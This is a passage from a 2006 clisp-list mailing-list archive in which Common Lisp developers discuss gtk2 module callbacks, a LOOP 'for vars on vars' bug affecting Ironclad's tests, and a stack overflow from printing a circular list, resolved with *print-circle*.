Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: dgym.bailey@gmail.com Subject: Re: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Nov 2006 10:46:54 -0000 Hi, >> 3. why is the window not destroyed/unmapped after I choose=20 >>Menu > File > Exit in Gnome (Ubuntu Dapper)? =20 >WFM: >./clisp -q -norc -K full -x '(gtk:gui "gtk2/ui.glade")' I did full/lisp.run -M full/lispinit.mem and worked from the REPL. With -x, I don't expect you to see the symptom, since the window will be teared down when clisp exits. >> 4. Did anybody ever see a clean-up callback called? >no. >in what situation should it be called? Excellent question. I'd really like to see that specified in the GTK docs. My expectation is that GTK does resource management. As such, it must = call user-supplied finalizers (aka destroyers). When does that happen? E.g., if a callback where linked to a widget, I'd expect the callback = finalizer be called when the widget is irremediably destroyed. If a signal = callback does not somehow "belong" to a widget, but perhaps to 2 objects, then the = situation is more complicated. I haven't observed clean-up in the glade demo. Quite to the contrary, gtk::*callback-funcs* grows and grows. Regards, J=F6rg H=F6hle. From Devon@Jovi.Net Fri Nov 03 07:07:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gg0dq-0005bn-IZ for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 07:07:34 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gg0dl-0004gr-Io for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 07:07:34 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id kA3Exns8038878 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Nov 2006 09:59:50 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id kA3ExhRD038870; Fri, 3 Nov 2006 09:59:43 -0500 (EST) (envelope-from Devon@Jovi.Net) Date: Fri, 3 Nov 2006 09:59:43 -0500 (EST) Message-Id: <200611031459.kA3ExhRD038870@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net, Tomas Zellerin In-reply-to: (message from Sam Steingold on Thu, 02 Nov 2006 00:57:23 -0500) References: X-Virus-Scanned: ClamAV devel-20061102/2156/Thu Nov 2 23:56:44 2006 on grant.org X-Virus-Status: Clean X-DCC-CollegeOfNewCaledonia-Metrics: grant.org 1189; Body=3 Fuz1=3 Fuz2=3 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Fri, 03 Nov 2006 09:59:50 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Nov 2006 15:07:34 -0000 No such bug in clisp 2.30 four years ago. $ clisp -q -ansi [1]> (lisp-implementation-version) "2.30 (released 2002-09-15) (built 3311025230) (memory 3311025634)" [2]> (let ((vars '(1 2 3 4))) (loop for i from 0 to 10 for vars on vars do (print vars))) (1 2 3 4) (2 3 4) (3 4) (4) NIL [3]> $ clisp -q -ansi STACK depth: 16359 SP depth: 67214888 [1]> (lisp-implementation-version) "2.38 (2006-01-24) (built 3352986545) (memory 3352991378)" [2]> (let ((vars '(1 2 3 4))) (loop for i from 0 to 10 for vars on vars do (print vars))) NIL [3]> Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote Date: Thu, 02 Nov 2006 00:57:23 -0500 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Subject: Re: [clisp-list] loop for vars on vars Reply-To: clisp-list@lists.sourceforge.net > * Tomas Zellerin [2006-10-27 09:07:13 +0200]: > > (let ((vars '(1 2 3 4))) > (loop for i from 0 to 10 for vars on vars do (print vars))) > => nil this appears to be a long standing bug. please file a bug report on SF so that it is not lost. thanks. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://mideasttruth.com http://jihadwatch.org http://truepeace.org http://iris.org.il http://israelunderattack.slide.com http://ffii.org Abandon all hope, all ye who press Enter. ------------------------------------------------------------------------- Using Tomcat but need to do more? Need to support web services, security? Get stuff done quickly with pre-integrated technology to make your job easier Download IBM WebSphere Application Server v.1.0.1 based on Apache Geronimo http://sel.as-us.falkag.net/sel?cmd=lnk&kid=120709&bid=263057&dat=121642 _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 03 09:01:16 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gg2Pr-0002DL-69 for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 09:01:15 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gg2Pk-0002BC-Ti for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 09:01:14 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 3 Nov 2006 17:23:33 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 3 Nov 2006 17:23:33 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 3 Nov 2006 17:23:31 +0100 Message-Id: in-reply-to: <4549FD8C.60803@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] loop for vars on vars Thread-Index: Acb+iZPvmsPmTVAqRp2ZjDOK5ByVnAA2DpPw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 03 Nov 2006 16:23:33.0708 (UTC) FILETIME=[6839F8C0:01C6FF64] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Nov 2006 17:01:16 -0000 Sam Steingold wrote: >you are right, the code is not portable de jure. >OTOH, it is portable de facto, and I see no reason not to support it. IMHO we lack evidence for this statement. o There's an unknown number of implementations that pass the Ironclad tests. Which ones? o Which implementation documents that particular behaviour? o Ironclad only contains two uses of the offending code. How representative is that? o My understanding is that you said that current clisp generates different code depending on whether other clauses precede "for vars on vars".(! not so great) Other implementations may vary similarly and just pass the Ironclad tests by chance. How often is this tested? The impressive document at http://common-lisp.net/project/cl-containers/asdf-status/website-output lists CLISP+Ironclad in blue (means success). Obviously, that's only compilation tests, not the testsuite. BTW, I've sent a Darcs patch to Nathan Froyd, Tomas and the Ironclad Debian maintainer. It was also sent to the clisp-list, but rejected. E-Mail me if you're interested. Maybe I should just include the patch literally for the clist-archives? BTW, Tomas mentioned another problem with Ironclad+CLISP about FINALLY. I'd like to hear about that. My patch makes clisp-2.38 (Dapper Ubuntu Debian) pass all tests (I erroneously reported using 2.41-CVS in previous mail). Which does not exclude the possibility for yet another use of unspecified LOOP behaviour w.r.t. FINALLY in the code. Regards, Jorg Hohle From sds@gnu.org Fri Nov 03 09:19:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gg2ho-0004Aj-FQ for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 09:19:48 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gg2hj-0002HH-RM for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 09:19:45 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AA24EB40112; Fri, 03 Nov 2006 12:19:32 -0500 Message-ID: <454B7A23.7040706@gnu.org> Date: Fri, 03 Nov 2006 12:19:31 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net References: <4549FD8C.60803@gnu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Nov 2006 17:19:48 -0000 Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: >> you are right, the code is not portable de jure. >> OTOH, it is portable de facto, and I see no reason not to support it. > IMHO we lack evidence for this statement. I tried let ((vars '(1 2 3 4))) (loop for i from 0 to 10 for vars on vars do (print vars))) on allegro, gcl, cmucl, sbcl. > BTW, I've sent a Darcs patch to Nathan Froyd, Tomas and the Ironclad > Debian maintainer. It was also sent to the clisp-list, but rejected. you are the mailing list admin. you can approve or reject your own message. (note that attachments are banned only on the open list clisp-list, not on the member-only clisp-devel). > E-Mail me if you're interested. > Maybe I should just include the patch literally for the clist-archives? is it a clisp patch? Sam. From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 03 10:10:52 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gg3VE-0000UA-Ao for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 10:10:52 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gg3VC-0008Ax-NA for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 10:10:52 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 3 Nov 2006 19:10:44 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 3 Nov 2006 19:10:43 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 3 Nov 2006 19:10:42 +0100 Message-Id: in-reply-to: <454B7A23.7040706@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: loop for vars on vars Thread-Index: Acb/bElhxzlgd+CkRrm4h4Q0ZFm7HgABqjMg From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 03 Nov 2006 18:10:44.0245 (UTC) FILETIME=[61200C50:01C6FF73] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Nov 2006 18:10:52 -0000 Hi, >you are the mailing list admin. >you can approve or reject your own message. I indeed did that, but it was not enough. It still received a bounce, = saying: The message's content type was not explicitly allowed >is it a clisp patch? No, a patch to Ironclad. But it'll only interest CLISP users. And only = as long as its not yet incorporated. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 03 10:22:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gg3g1-0001Te-FO for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 10:22:01 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gg3fx-00030X-QR for clisp-list@lists.sourceforge.net; Fri, 03 Nov 2006 10:21:58 -0800 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Fri, 3 Nov 2006 19:21:51 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 3 Nov 2006 19:21:50 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 3 Nov 2006 19:21:49 +0100 Message-Id: in-reply-to: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] new clisp module: gtk2 Thread-Index: Acb+TzUmxsUjsAAcQU2BF0bOdnQb9QA5nWTQ From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 03 Nov 2006 18:21:50.0819 (UTC) FILETIME=[EE6F2B30:01C6FF74] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: zellerin@gmail.com Subject: Re: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Nov 2006 18:22:01 -0000 Tomas Zellerin wrote: >> just open "modules/gtk2/ui.glade" in glade and add callbacks. >> gtk:gui will do all the necessary magic. >I think I see. I just did not believe that simple writing lisp into >callbacks could work. You can deduce that the module or more specifically, the GTK interaction API with Lisp is still experimental. IMHO, writing Lisp code into a Glade XML file is not TRT. I'd very much prefer something which preserves lexical scoping: this is really valuable, since the callbacks for now don't provide local context and integrates nicely into Lisp. The current way of possibly passing args via the symbol gtk::args and READ-FROM-STRING is, well, not ideal. Over ten years ago, I've advocated separating the GUI look from the application, and haven't changed opinion since. Externally manipulable representations of the layout are one path in that direction, and that's why I like the separate UI description idea approach that Glade implements, even though I can't comment on its details. I think there's a need for a good mapping between the XML signal string information and Lisp code. Maybe just a combination of resolver function and alist? (defun my-gui (flet ((about #) (wclose (widget) (gtk_destroy widget)) ...) (instantiate-gui glade-path-to-xml `(("open-about" . ,#'about) ("close-main" . ,#'wclose))))) well, that's certainly not enough since one would like to access some widgets via a local variable ... BTW, there are several other GTK bindings out there. Maybe this one should not be too different from the others -- should they (unlikely) resemble each other. Regards, Jorg Hohle. From zellerin@gmail.com Sun Nov 05 23:39:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ggz4P-0000ry-3b for clisp-list@lists.sourceforge.net; Sun, 05 Nov 2006 23:39:01 -0800 Received: from nf-out-0910.google.com ([64.233.182.186]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ggz4O-0003sW-Dm for clisp-list@lists.sourceforge.net; Sun, 05 Nov 2006 23:39:00 -0800 Received: by nf-out-0910.google.com with SMTP id l36so3285680nfa for ; Sun, 05 Nov 2006 23:38:59 -0800 (PST) Received: by 10.48.202.19 with SMTP id z19mr177444nff.1162798738902; Sun, 05 Nov 2006 23:38:58 -0800 (PST) Received: by 10.49.70.19 with HTTP; Sun, 5 Nov 2006 23:38:58 -0800 (PST) Message-ID: Date: Mon, 6 Nov 2006 08:38:58 +0100 From: "Tomas Zellerin" To: "Hoehle, Joerg-Cyril" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <4549FD8C.60803@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 06 Nov 2006 07:39:01 -0000 On 11/3/06, Hoehle, Joerg-Cyril wrote: > BTW, Tomas mentioned another problem with Ironclad+CLISP about FINALLY. > I'd like to hear about that. My patch makes clisp-2.38 (Dapper Ubuntu > Debian) pass all tests (I erroneously reported using 2.41-CVS in > previous mail). Which does not exclude the possibility for yet another > use of unspecified LOOP behaviour w.r.t. FINALLY in the code. > The "finally" problem is the one that is fixed in clisp 2.34 and that one was originally mentioned in cliki, if this is what you are talking about. So a historical one. I could dig up details if you really want. Tomas From dan.stanger@ieee.org Mon Nov 06 17:21:39 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhFel-0000uk-SK for clisp-list@lists.sourceforge.net; Mon, 06 Nov 2006 17:21:39 -0800 Received: from vms048pub.verizon.net ([206.46.252.48]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhFel-0001nC-GN for clisp-list@lists.sourceforge.net; Mon, 06 Nov 2006 17:21:39 -0800 Received: from [192.168.2.168] ([68.160.190.123]) by vms048.mailsrvcs.net (Sun Java System Messaging Server 6.2-4.02 (built Sep 9 2005)) with ESMTPA id <0J8C004FX6G0MC55@vms048.mailsrvcs.net> for clisp-list@lists.sourceforge.net; Mon, 06 Nov 2006 19:21:38 -0600 (CST) Date: Mon, 06 Nov 2006 20:20:47 -0500 From: Dan Stanger In-reply-to: <4548C3C1.7050507@gnu.org> To: clisp-list@lists.sourceforge.net Message-id: <454FDF6F.1040506@ieee.org> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en References: <4548B85D.6050101@x-ray.at> <4548C3C1.7050507@gnu.org> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.13) Gecko/20060414 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Problem with code from Paradigms of AI Programming (PAIP) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: dan.stanger@ieee.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 07 Nov 2006 01:21:40 -0000 Hello All, I have a problem with the following lines, which occurs in the make-queue code in section 10.5: [1]> (setf q (cons nil nil)) (NIL) [2]> (setf (car q) q) *** - Lisp stack overflow. RESET [3]> Is this a (possibly known) bug in clisp? This code is useable with allegro lisp 8.0. Following is the output of clisp --version: $ clisp --version GNU CLISP 2.41 (2006-10-13) (built on reini [192.168.1.3]) Software: GNU C 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125) gcc -O2 -pipe -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -W missing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-fun ctions=4 -DUNICODE -DDYNAMIC_FFI -I. -Wl,--enable-auto-image-base -x none -lint l -liconv libcharset.a libavcall.a libcallback.a -lreadline -lncurses -L/usr/lib -lsigsegv -L/usr/X11R6/lib SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_PAGES SPVW_MIXED libiconv 1.11 libreadline 5.1 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX CYGWIN) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686 (I686) madriverglen [192.168.2.168] Regards, Dan Stanger From dan.stanger@ieee.org Mon Nov 06 19:06:23 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhHI7-0001WZ-BB for clisp-list@lists.sourceforge.net; Mon, 06 Nov 2006 19:06:23 -0800 Received: from vms040pub.verizon.net ([206.46.252.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhHI4-00068w-RW for clisp-list@lists.sourceforge.net; Mon, 06 Nov 2006 19:06:23 -0800 Received: from [192.168.2.168] ([141.154.29.112]) by vms040.mailsrvcs.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTPA id <0J8C00MISBAD3R92@vms040.mailsrvcs.net> for clisp-list@lists.sourceforge.net; Mon, 06 Nov 2006 21:06:15 -0600 (CST) Date: Mon, 06 Nov 2006 22:05:29 -0500 From: Dan Stanger In-reply-to: <200611070254.kA72sn4p023948@grant.org> To: Devon Sean McCullough Message-id: <454FF7F8.1090302@ieee.org> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en References: <4548B85D.6050101@x-ray.at> <4548C3C1.7050507@gnu.org> <454FDF6F.1040506@ieee.org> <200611070254.kA72sn4p023948@grant.org> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.13) Gecko/20060414 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem with code from Paradigms of AI Programming (PAIP) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: dan.stanger@ieee.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 07 Nov 2006 03:06:23 -0000 Thanks, That solves the problem. Regards, Dan Stanger Devon Sean McCullough wrote: >Try (setf *print-circle* t) > > Peace > --Devon > /~\ > \ / Health Care > X not warfare > / \ > > Dubya won the digital vote > Kerry won the popular vote > >Date: Mon, 06 Nov 2006 20:20:47 -0500 >From: Dan Stanger >In-reply-to: <4548C3C1.7050507@gnu.org> >To: clisp-list@lists.sourceforge.net >Subject: [clisp-list] Problem with code from Paradigms of AI Programming > (PAIP) >Reply-To: dan.stanger@ieee.org > >Hello All, >I have a problem with the following lines, which occurs in the >make-queue code in section 10.5: >[1]> (setf q (cons nil nil)) >(NIL) >[2]> (setf (car q) q) > >*** - Lisp stack overflow. RESET >[3]> >Is this a (possibly known) bug in clisp? >This code is useable with allegro lisp 8.0. >Following is the output of clisp --version: >$ clisp --version >GNU CLISP 2.41 (2006-10-13) (built on reini [192.168.1.3]) >Software: GNU C 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125) >gcc -O2 -pipe -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit >-Wreturn-type -W >missing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations >-falign-fun >ctions=4 -DUNICODE -DDYNAMIC_FFI -I. -Wl,--enable-auto-image-base -x >none -lint >l -liconv libcharset.a libavcall.a libcallback.a -lreadline -lncurses >-L/usr/lib > -lsigsegv -L/usr/X11R6/lib >SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_PAGES SPVW_MIXED >libiconv 1.11 >libreadline 5.1 >Features: >(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL >COMMON-LISP > LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI > GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX CYGWIN) >C Modules: (clisp i18n syscalls regexp readline) >Installation directory: /usr/lib/clisp/ >User language: ENGLISH >Machine: I686 (I686) madriverglen [192.168.2.168] > >Regards, >Dan Stanger > >------------------------------------------------------------------------- >Using Tomcat but need to do more? Need to support web services, security? >Get stuff done quickly with pre-integrated technology to make your job easier >Download IBM WebSphere Application Server v.1.0.1 based on Apache Geronimo >http://sel.as-us.falkag.net/sel?cmd=lnk&kid=120709&bid=263057&dat=121642 >_______________________________________________ >clisp-list mailing list >clisp-list@lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/clisp-list > > > > From sds@gnu.org Tue Nov 07 06:17:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhRlX-0003ep-LQ for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 06:17:27 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhRlV-00018U-3Y for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 06:17:27 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A56E20D500CE; Tue, 07 Nov 2006 09:17:18 -0500 Message-ID: <4550956D.6080104@gnu.org> Date: Tue, 07 Nov 2006 09:17:17 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: dan.stanger@ieee.org, clisp-list@lists.sourceforge.net References: <4548B85D.6050101@x-ray.at> <4548C3C1.7050507@gnu.org> <454FDF6F.1040506@ieee.org> In-Reply-To: <454FDF6F.1040506@ieee.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: Re: [clisp-list] Problem with code from Paradigms of AI Programming (PAIP) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 07 Nov 2006 14:17:28 -0000 Dan Stanger wrote: > Hello All, > I have a problem with the following lines, which occurs in the > make-queue code in section 10.5: > [1]> (setf q (cons nil nil)) > (NIL) > [2]> (setf (car q) q) > > *** - Lisp stack overflow. RESET > [3]> > Is this a (possibly known) bug in clisp? http://clisp.cons.org/impnotes/faq.html#faq-stack From pjb@informatimago.com Tue Nov 07 12:21:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GhXSF-0006aT-6e for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 12:21:55 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GhXSB-0006hG-TW for clisp-list@lists.sourceforge.net; Tue, 07 Nov 2006 12:21:53 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 494D3585E7; Tue, 7 Nov 2006 21:21:44 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 792C5585E6; Tue, 7 Nov 2006 21:21:41 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 407CA12AD84; Tue, 7 Nov 2006 21:21:41 +0100 (CET) From: Pascal 